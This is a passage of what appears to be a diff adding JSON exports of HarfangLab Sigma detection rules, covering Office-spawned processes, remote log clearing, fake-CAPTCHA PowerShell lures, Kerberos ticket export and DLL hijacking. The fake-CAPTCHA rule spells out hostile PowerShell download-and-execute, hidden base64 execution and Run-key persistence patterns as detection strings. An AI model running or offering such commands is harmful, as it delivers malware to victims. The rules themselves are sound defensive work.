C:\\WINDOWS\\system32\\MSIEXEC.EXE /X {AB966E92-1EB2-4BEB-81CA-6B319681B977} /QB\n            - '*\\MSIEXEC.EXE /X {????????-????-????-????-????????????} /QB'\n            # \"C:\\WINDOWS\\system32\\MSIEXEC.EXE\" /X {7EE8ACD7-531C-4E3E-A481-E2D468CB6DDD} /QB\n            - '*\\MSIEXEC.EXE? /X {????????-????-????-????-????????????} /QB'\n            - '?:\\WINDOWS\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCER *'\n            # https://www.tenforums.com/tutorials/77458-rundll32-commands-list-windows-10-a.html\n            - '*shwebsvc.dll,AddNetPlaceRunDll'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -command Get-TimeZone|clip'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -command Get-Culture|clip'\n            - '?:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -command Get-TimeZone|clip'\n            - '?:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -command Get-Culture|clip'\n            - '?:\\Windows\\System32\\rundll32.exe ?:\\Windows\\System32\\shimgvw.dll,ImageView_PrintTo *'\n\n    exclusion_outlook:\n        CommandLine:\n            # C:\\Windows\\System32\\msiexec.exe /focmu {90150000-0011-0000-0000-0000000FF1CE} /lwieap C:\\Users\\xxxx\\AppData\\Local\\Temp\\Microsoft Office Professional Plus 2013_repair_log(0002).txt /qb+\n            - '?:\\Windows\\System32\\msiexec.exe /focmu {90150000-0011-0000-0000-0000000FF1CE} /lwieap ?:\\Users\\\\*\\AppData\\Local\\Temp\\Microsoft Office *.txt /qb+'\n            - '?:\\WINDOWS\\system32\\rundll32.exe ?:\\WINDOWS\\system32\\shell32.dll,OpenAs_RunDLL ?:\\Users\\\\*\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Outlook\\\\*'\n\n    exclusion_safeofficeaddin:\n        CommandLine:\n            - '?:\\WINDOWS\\System32\\msiexec.exe /i ?:\\Users\\\\*\\AppData\\Local\\Sage\\SageX3OfficeAddIn.msi'\n            - '?:\\Windows\\SysWOW64\\msiexec.exe /i ?:\\Users\\\\*\\AppData\\Local\\Sage\\SageX3OfficeAddIn.msi'\n\n    exclusion_genapi:\n        CommandLine|startswith: '?:\\WINDOWS\\system32\\cmd.exe /c ?:\\Users\\\\*\\AppData\\Roaming\\Genapi\\Synchro\\Outlook\\RegDll-iNot.cmd'\n\n    exclusion_poweruser:\n        CommandLine|contains: 'msiexec.exe /i ?:\\Users\\\\*\\Power-user*.msi /QN'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "686d2296-eed8-4f0a-8e68-174ea45e8902",
+  "rule_name": "Dangerous Process Started by Microsoft Office Application with Reference to an AppData Folder",
+  "rule_description": "Detects various potentially malicious binaries started from Microsoft Office applications (Word, Excel, Powerpoint, Publisher, Visio, ...) with reference to an AppData folder.\nAttackers can send malicious documents through phishing to gain an initial foothold on their targets.\nThe AppData folder is often used by attackers to hide their malicious payloads.\nIt is recommended to investigate the parent process to check if a suspicious office document has been opened.\n",
+  "rule_creation_date": "2020-07-27",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1203",
+    "attack.t1204.002",
+    "attack.t1566"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "68dc5935-e8e4-4223-b4ca-abdf6c9864d3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626719Z",
+  "creation_date": "2026-03-23T11:45:34.626721Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626725Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1070/001/"
+  ],
+  "name": "t1070_001_clear_windows_security_log_remote.yml",
+  "content": "title: Windows Security Log Cleared Remotely\nid: 68dc5935-e8e4-4223-b4ca-abdf6c9864d3\ndescription: |\n    Detects the Windows Security audit log being cleared remotely.\n    Adversaries may clear Windows Event Logs to hide the activity of an intrusion.\n    Windows Event Logs are a record of a computer's alerts and notifications.\n    It is recommended to check for other malicious behavior on the host and the remote host with the help of the machine's timeline.\nreferences:\n    - https://attack.mitre.org/techniques/T1070/001/\ndate: 2026/01/15\nmodified: 2026/01/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1070.001\n    - classification.Windows.Source.EventLog\n    - classification.Windows.Behavior.Deletion\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection:\n        EventID: 1102\n        Source: 'Microsoft-Windows-Eventlog'\n        SessionLogonType: 3\n        user_data.ClientProcessStartKey: '0'\n\n    condition: selection\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "68dc5935-e8e4-4223-b4ca-abdf6c9864d3",
+  "rule_name": "Windows Security Log Cleared Remotely",
+  "rule_description": "Detects the Windows Security audit log being cleared remotely.\nAdversaries may clear Windows Event Logs to hide the activity of an intrusion.\nWindows Event Logs are a record of a computer's alerts and notifications.\nIt is recommended to check for other malicious behavior on the host and the remote host with the help of the machine's timeline.\n",
+  "rule_creation_date": "2026-01-15",
+  "rule_modified_date": "2026-01-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "68de28b9-b754-4a90-a70e-316dee48d824",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.623439Z",
+  "creation_date": "2026-03-23T11:45:34.623441Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.623445Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.qualys.com/vulnerabilities-threat-research/2024/10/20/unmasking-lumma-stealer-analyzing-deceptive-tactics-with-fake-captcha",
+    "https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/",
+    "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/behind-the-captcha-a-clever-gateway-of-malware/",
+    "https://harfanglab.io/insidethelab/hijackloader-abusing-genuine-certificates/",
+    "https://attack.mitre.org/techniques/T1059/001/",
+    "https://attack.mitre.org/techniques/T1566/",
+    "https://attack.mitre.org/techniques/T1204/004/"
+  ],
+  "name": "t1566_fake_captcha_exploitation_powershell.yml",
+  "content": "title: Fake Captcha Exploitation Detected via PowerShell\nid: 68de28b9-b754-4a90-a70e-316dee48d824\ndescription: |\n    Detects a suspicious Powershell command related to fake Captchas.\n    Attackers use fake Captcha verification pages to trick users into executing a malicious Powershell payload by asking them to open and copy paste malicious code into a Powershell terminal.\n    This technique is often used to deliver Lumma Stealer, an information stealer written in the C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022.\n    It is recommended to investigate the Powershell command to determine its legitimacy.\nreferences:\n    - https://blog.qualys.com/vulnerabilities-threat-research/2024/10/20/unmasking-lumma-stealer-analyzing-deceptive-tactics-with-fake-captcha\n    - https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/\n    - https://www.mcafee.com/blogs/other-blogs/mcafee-labs/behind-the-captcha-a-clever-gateway-of-malware/\n    - https://harfanglab.io/insidethelab/hijackloader-abusing-genuine-certificates/\n    - https://attack.mitre.org/techniques/T1059/001/\n    - https://attack.mitre.org/techniques/T1566/\n    - https://attack.mitre.org/techniques/T1204/004/\ndate: 2024/10/29\nmodified: 2026/01/30\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1566\n    - attack.execution\n    - attack.t1059.001\n    - attack.t1204.004\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.InitialAccess\n    - classification.Windows.Behavior.Phishing\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection_explorer:\n        - ProcessParentImage|endswith: '\\explorer.exe'\n        - ProcessGrandparentImage|endswith: '\\explorer.exe'\n\n    selection_command1:\n        PowershellCommand:\n            - '*.b-cdn.net/*'\n            - 'mshta \"http*'\n            - 'iex (iwr http* -UseBasicParsing).Content'\n            - '*; $response = Invoke-WebRequest -Uri $url -UseBasicParsing; $text = $response.Content; iex $text'\n            - '*largos.short.gy/*'\n            - '*PowerShell.exe -W HiDdEN [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(*)) | iex'\n            - '*Start-Process \"?:\\Windows\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe\" -ArgumentList \"-w hidden -ep bypass -nop -Command `\"iex ((New-Object System.Net.WebClient).DownloadString(*))`\"\" -WindowStyle Hidden*'\n\n    selection_command2:\n        PowershellCommand|contains|all:\n            - '$webClient = New-Object System.Net.WebClient'\n            - '$webClient.DownloadFile($url1,'\n            - 'Start-Process -FilePath $env:TEMP\\'\n\n    selection_command3:\n        PowershellCommand|contains|all:\n            - '$env:APPDATA\\'\n            - '(Test-Path '\n            - '{ New-Item -Path '\n            - '-ItemType Directory }'\n            - 'Start-BitsTransfer -Source '\n            - 'Expand-Archive -Path '\n            - 'New-ItemProperty -Path ?HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run? -Name ?'\n\n    selection_command4:\n        PowershellCommand|contains|all:\n            - '=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor(('\n            - ')),[byte[]]::new(16)).TransformFinalBlock('\n\n    filter_script:\n        PowershellScriptPath|contains: '?'\n\n    condition: selection_explorer and 1 of selection_command* and not 1 of filter_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "68de28b9-b754-4a90-a70e-316dee48d824",
+  "rule_name": "Fake Captcha Exploitation Detected via PowerShell",
+  "rule_description": "Detects a suspicious Powershell command related to fake Captchas.\nAttackers use fake Captcha verification pages to trick users into executing a malicious Powershell payload by asking them to open and copy paste malicious code into a Powershell terminal.\nThis technique is often used to deliver Lumma Stealer, an information stealer written in the C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022.\nIt is recommended to investigate the Powershell command to determine its legitimacy.\n",
+  "rule_creation_date": "2024-10-29",
+  "rule_modified_date": "2026-01-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1204.004",
+    "attack.t1566"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "68fe4fff-4e59-4cff-a376-dc54db74ee2f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626179Z",
+  "creation_date": "2026-03-23T11:45:34.626181Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626185Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.mandiant.com/resources/blog/kerberos-tickets-on-linux-red-teams",
+    "https://blog.netwrix.com/2022/09/28/how-to-detect-pass-the-ticket-attacks/"
+  ],
+  "name": "t1558_kirbi_file_written_to_disk.yml",
+  "content": "title: Kerberos Ticket File Exported to Disk\nid: 68fe4fff-4e59-4cff-a376-dc54db74ee2f\ndescription: |\n    Detects the creation of a file on disk with the .kirbi (Windows Kerberos Format), or .ccache (Linux Kerberos Format) extension.\n    This is usually the result of memory secret extraction tools, such as mimikatz, which contain modules to export Kerberos tickets from memory.\n    It is recommended to investigate the incident to determine if any unauthorized authentication has taken place. An investigative guide is present in the references.\nreferences:\n    - https://www.mandiant.com/resources/blog/kerberos-tickets-on-linux-red-teams\n    - https://blog.netwrix.com/2022/09/28/how-to-detect-pass-the-ticket-attacks/\ndate: 2023/05/23\nmodified: 2026/01/06\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1558\n    - attack.defense_evasion\n    - attack.t1550.003\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.SensitiveInformation\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Path|endswith:\n            - '.ccache'\n            - '.kirbi'\n\n    exclusion_blkns:\n        ProcessCommandLine|contains:\n            # C:\\Windows\\Temp\\blckns\\ (base64 UTF16-LE)\n            - 'QwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABiAGwAYwBrAG4AcwBcA'\n            - 'MAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwAYgBsAGMAawBuAHMAXA'\n            - 'DADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcAGIAbABjAGsAbgBzAFwA'\n            # Direct execution\n            - 'start-transcript -path \\\\\\\\127.0.0.1\\\\?$\\windows\\temp\\blckns\\'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "68fe4fff-4e59-4cff-a376-dc54db74ee2f",
+  "rule_name": "Kerberos Ticket File Exported to Disk",
+  "rule_description": "Detects the creation of a file on disk with the .kirbi (Windows Kerberos Format), or .ccache (Linux Kerberos Format) extension.\nThis is usually the result of memory secret extraction tools, such as mimikatz, which contain modules to export Kerberos tickets from memory.\nIt is recommended to investigate the incident to determine if any unauthorized authentication has taken place. An investigative guide is present in the references.\n",
+  "rule_creation_date": "2023-05-23",
+  "rule_modified_date": "2026-01-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1550.003",
+    "attack.t1558"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6916476e-3990-45fa-9370-3bd47e7ff3a6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.601765Z",
+  "creation_date": "2026-03-23T11:45:34.601769Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.601777Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wmpdmc.yml",
+  "content": "title: DLL Hijacking via wmpdmc.exe\nid: 6916476e-3990-45fa-9370-3bd47e7ff3a6\ndescription: |\n    Detects potential Windows DLL Hijacking via wmpdmc.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'wmpdmc.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dwmapi.dll'\n            - '\\OLEACC.dll'\n            - '\\UxTheme.dll'\n            - '\\WindowsCodecs.dll'\n            - '\\wmpdui.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6916476e-3990-45fa-9370-3bd47e7ff3a6",
+  "rule_name": "DLL Hijacking via wmpdmc.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via wmpdmc.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6917420f-8cf8-42ed-b237-e6035a048408",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087993Z",
+  "creation_date": "2026-03-23T11:45:34.087995Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087999Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/egre55/status/1052907871749459968",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_syntpenh_spawning_processes.yml",
+  "content": "title: Process Spawned by SynTPEnh.exe\nid: 6917420f-8cf8-42ed-b237-e6035a048408\ndescription: |\n    Detects suspicious processes started from the legitimate Lenovo binary SynTPEnh.exe in order to proxy execution and evade defenses.\n    This binary can be used as a LOLBin in order to proxy the execution of other binaries.\n    It is recommended to investigate the legitimacy of the process responsible for the execution of SynTPEnh.exe and to analyze child processes.\nreferences:\n    - https://twitter.com/egre55/status/1052907871749459968\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2022/05/17\nmodified: 2025/10/22\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_image:\n        - ParentImage|endswith: '\\SynTPEnh.exe'\n        - ProcessParentOriginalFileName: 'SynTPEnh.exe'\n\n    selection_commandline:\n        ParentCommandLine|contains: ' ?SHELLEXEC '\n\n    filter_legitimate:\n        Image:\n            - '?:\\Windows\\System32\\SynTPEnh.exe'\n            - '?:\\Windows\\System32\\SynTPHelper.exe'\n            - '?:\\Program Files\\Synaptics\\SynTP\\SynTPLpr.exe'\n            - '?:\\Program Files\\Synaptics\\SynTP\\SynTPEnh.exe'\n            - '?:\\Program Files\\Synaptics\\SynTP\\SynTPHelper.exe'\n            - '?:\\Program Files\\Synaptics\\SynTP\\SynLenovoHelper.exe'\n            - '?:\\Program Files\\Synaptics\\SynTP\\DellTpad.exe'\n            - '?:\\Program Files\\Synaptics\\SynTP\\DellTouchpad.exe'\n\n    exclusion_werfault:\n        Image: '?:\\Windows\\System32\\WerFault.exe'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6917420f-8cf8-42ed-b237-e6035a048408",
+  "rule_name": "Process Spawned by SynTPEnh.exe",
+  "rule_description": "Detects suspicious processes started from the legitimate Lenovo binary SynTPEnh.exe in order to proxy execution and evade defenses.\nThis binary can be used as a LOLBin in order to proxy the execution of other binaries.\nIt is recommended to investigate the legitimacy of the process responsible for the execution of SynTPEnh.exe and to analyze child processes.\n",
+  "rule_creation_date": "2022-05-17",
+  "rule_modified_date": "2025-10-22",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "69250942-f254-440e-a301-7ce05a297557",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081651Z",
+  "creation_date": "2026-03-23T11:45:34.081653Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081657Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/2022/04/27/lookback-ta410-umbrella-cyberespionage-ttps-activity/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_qrtfi.yml",
+  "content": "title: DLL Hijacking via qrtf.exe\nid: 69250942-f254-440e-a301-7ce05a297557\ndescription: |\n    Detects potential Windows DLL Hijacking via qrtf.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.welivesecurity.com/2022/04/27/lookback-ta410-umbrella-cyberespionage-ttps-activity/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'qrtfix.exe'\n        ImageLoaded|endswith: '\\qrt.dll'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files (x86)\\F-Secure\\Anti-Virus\\'\n            - '?:\\Program Files\\F-Secure\\Anti-Virus\\'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "69250942-f254-440e-a301-7ce05a297557",
+  "rule_name": "DLL Hijacking via qrtf.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via qrtf.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6937271c-260b-4e5b-b615-ac15220e5645",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
